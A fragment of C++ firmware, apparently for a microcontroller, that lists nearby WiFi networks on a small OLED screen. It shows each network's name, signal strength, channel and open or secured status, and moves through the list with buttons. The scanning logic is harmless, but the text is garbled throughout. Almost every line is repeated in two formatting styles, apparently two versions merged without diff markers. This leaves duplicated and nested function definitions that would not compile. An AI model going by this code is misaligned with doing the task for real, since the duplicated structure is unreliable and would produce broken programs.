}
u8g2.sendBuffer();
u8g2.sendBuffer();
}
// ===== DETAILS =====
void wifi_drawDetails()
{
if (networkCount == 0) return;
void wifi_drawDetails() {
if (networkCount == 0)
return;
WiFiNet &net = networks[selectedIndex];
WiFiNet &net = networks[selectedIndex];
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_5x8_tr);
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_5x8_tr);
u8g2.drawStr(0, 10, net.ssid.c_str());
u8g2.drawStr(0, 10, net.ssid.c_str());
char rssi[20];
sprintf(rssi, "RSSI: %d", net.rssi);
u8g2.drawStr(0, 20, rssi);
char rssi[20];
sprintf(rssi, "RSSI: %d", net.rssi);
u8g2.drawStr(0, 20, rssi);
char ch[20];
sprintf(ch, "CH: %d", net.channel);
u8g2.drawStr(0, 30, ch);
char ch[20];
sprintf(ch, "CH: %d", net.channel);
u8g2.drawStr(0, 30, ch);
u8g2.drawStr(0, 40, net.encrypted ? "Secured" : "Open");
u8g2.drawStr(0, 40, net.encrypted ? "Secured" : "Open");
u8g2.sendBuffer();
u8g2.sendBuffer();
}
// ===== LOOP =====
void wifi_scan_loop()
{
static uint32_t lastPress = 0;
void wifi_scan_loop() {
static uint32_t lastPress = 0;
if (millis() - lastPress < 150)
return;
if (millis() - lastPress < 150)
return;
if (btnDown() && selectedIndex < networkCount - 1)
{
selectedIndex++;
wifi_scan_draw();
lastPress = millis();
}
else if (btnUp() && selectedIndex > 0)
{
selectedIndex--;
wifi_scan_draw();
lastPress = millis();
}
else if (btnSelect() && networkCount > 0)
{
wifi_drawDetails();
delay(3000);
wifi_scan_draw();
lastPress = millis();
}
// else if (btnBack())
// {
// wifi_scan_start();
// wifi_scan_draw();
// lastPress = millis();
// }
if (btnDown() && selectedIndex < networkCount - 1) {
selectedIndex++;
wifi_scan_draw();
lastPress = millis();
} else if (btnUp() && selectedIndex > 0) {
selectedIndex--;
wifi_scan_draw();
lastPress = millis();
} else if (btnSelect() && networkCount > 0) {
wifi_drawDetails();
delay(3000);
wifi_scan_draw();
lastPress = millis();
}
// else if (btnBack())
// {
// wifi_scan_start();
// wifi_scan_draw();
// lastPress = millis();
// }
}